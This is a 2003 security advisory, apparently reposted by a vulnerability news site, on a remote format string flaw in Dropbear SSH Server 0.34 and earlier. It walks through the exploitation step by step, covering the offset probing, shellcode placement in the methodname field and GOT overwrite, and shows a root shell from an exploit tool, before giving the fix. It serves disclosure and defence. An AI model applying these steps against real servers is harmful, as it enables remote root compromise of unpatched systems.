1. ViRobot Linux Server Contains Several Local Overflows
2. Multiple Vulnerabilities in AttilaPHP
3. Ecartis Contains Multiple Vulnerabilities
4. Dropbear SSH Server Format String Vulnerability
5. Remote Vulnerability in Horde MTA

E-Mail this article to a friend
Send us comments

Title **17/8/2003**

Dropbear SSH Server Format String Vulnerability

Summary

Dropbear SSH Server is "a small Secure Shell server suitable for embedded environments. It implements various features of the SSH 2 protocol, including X11 and Authentication agent forwarding".
A remotely exploitable format string vulnerability exists in the default configuration of the Dropbear SSH Server up until version 0.35, which was released shortly after Matt Johnston, the Dropbear developer, was notified of the problem.

Details

Vulnerable Systems:
 * Dropbear SSH Server 0.34 and less

Immune Systems:
 * Dropbear SSH Server 0.35

The bug can be triggered by supplying a username with format specifiers and make a login attempt. Since the user does not exist, the login attempt will fail and the following code in auth.c will be executed:

```
    dropbear_log(LOG_WARNING,
                "login attempt for nonexistant user '%s'
from %s",
                username, ses.addrstring);
```

To format the log message, vsnprintf() is used, the resulting buffer will be passed to syslog() (unless Dropbear is run in foreground or compiled with DISABLE_SYSLOG defined). The formatted buffer is passed as a string to syslog() so if the username contains any format string specifiers, they will be parsed. This can be used to overwrite arbitrary memory addresses (such as function pointers) with user-defined data (such as the address to shellcode supplied by the attacker).

Exploit

Exploiting this bug was not entirely straightforward, but not far from either. The total time from downloading and starting to audit the Dropbear source until having developed a working exploit was just a few hours. Instead of just presenting an exploit, Joel will describe the essential steps of the process in detail here and make the exploit available at a later time.

First, let's see if we can find the offset to our format string by using %<N>$08X to log four bytes at offset N.

```
[root@vudo /home/je/dropbear-0.34]# ./dropbear -p
2222
[root@vudo /home/je/dropbear-0.34]# ssh -p 2222
'AAAA.%24$08X'@localhost
    AAAA%24$08X@localhost's password:
    ^C
    [root@vudo /home/je/dropbear-0.34]# tail -2
/var/log/auth.log
    Aug 16 20:04:43 vudo dropbear[14497]: login
attempt for nonexistent user 'AAAA.41414141' from
127.0.0.1
    Aug 16 20:04:48 vudo dropbear[14497]: exited
before userauth: error reading
    [root@vudo /home/je/dropbear-0.34]#
```

Of course, a remote attacker would have to guess the offset (which in this case is 24), but this is not much of a problem. It may vary depending on if gcc-2.x or gcc-3.x is used for instance, since gcc-3.x adds a little padding to buffers (supposedly to make 1-byte-overflows harmless), but the variation will not be big.

The username is limited to 25 characters, which is a little too few for traditional format string techniques where an entire 4-bytes pointer is overwritten, using two or four overlapping writes (with %hn or %hhn respectively). We also need to find a place for our shellcode, since there obviously will not be enough place left in the username. By examining recv_msg_userauth_request() in auth.c we can see that three strings are received: The username, the servicename and the methodname. We are already using the username for our format string (and it is limited to 25 bytes, as mentioned), the servicename must be "ssh-connection" or the connection will fail before the vulnerable code is executed, but the methodname may be anything except "none" which is explicitly not allowed. We can put as much as a little more than 30,000 characters in the methodname-string. To do this, we have to modify an SSH-client of course, or implement the SSH-protocol ourselves. We choose to modify the SSH client from OpenSSH.

We have already mentioned that there is not enough space for a format string that overwrites an entire 4-bytes pointer, but we have more than enough space to overwrite two bytes with an arbitrary value. By overwriting the two upper bytes of the GOT-entry of a function that is used after syslog() has been called, we have a very good chance being able to point it into the methodstring with our shellcode.

Enough theory, let us see how it works out in practice. First, we modified OpenSSH to let us specify the method-string in an environment variable:

```
  [je@vudo ~/openssh-3.6.1p2]$ SSH_METHOD=`perl
-e 'print "A"x30000'` ./ssh -p 2222
whatever@localhost
```

Then we looked up the address of a suitable GOT-entry and attached with gdb to the server-process:

```
   [root@vudo /home/je/dropbear-0.34]# objdump -R
dropbear | awk '$3 == "write"'
   08067590 R_386_JUMP_SLOT write
   [root@vudo /home/je/dropbear-0.34]# ps auxw |
grep dropbear | tail -1
   root 14685 5.8 0.6 1912 840 pts/7 S 21:06 0:00
./dropbear -p 2222
   [root@vudo /home/je/dropbear-0.34]# gdb
dropbear 14685
   [snip]
   (gdb) x/x 0x8067590
   0x8067590 <__JCR_LIST__+64>: 0x4012e6c0
   (gdb) x/x 0x807e6c0
   0x807e6c0: 0x41414141
```

As you can see, write()'s GOT-entry has the value 0x4012e6c0, and 0x0807e6c0 points into the method-string. Thus, to exploit this bug we could put shellcode at the end of methodname and use the format string vulnerability to write 0x0807 to 0x08067590+2.

This is a sample run of the exploit we developed for the vulnerability:

```
   [je@vudo ~/openssh-3.6.1p2]$ ./dropdead
```

```
    Linux/x86 Exploit for Dropbear SSH Server <= 0.34
    By Joel Eriksson <je@0xbadc0ded.org>
    Usage: ./dropdead ADDR [PORT] [HIADDR]
[FPADDR]
    [je@vudo ~/openssh-3.6.1p2]$ ./dropdead
    id
    uid=0(root) gid=0(root) groups=0(root)
    exit
    [je@vudo ~/openssh-3.6.1p2]$
```

Solution:
Upgrade to Dropbear version 0.35

Workaround:
Edit util.c and change:

```
    syslog(priority, printbuf);
```

To:

```
    syslog(priority, "%s", printbuf);
```

Additional information

The information has been provided by Joel Eriksson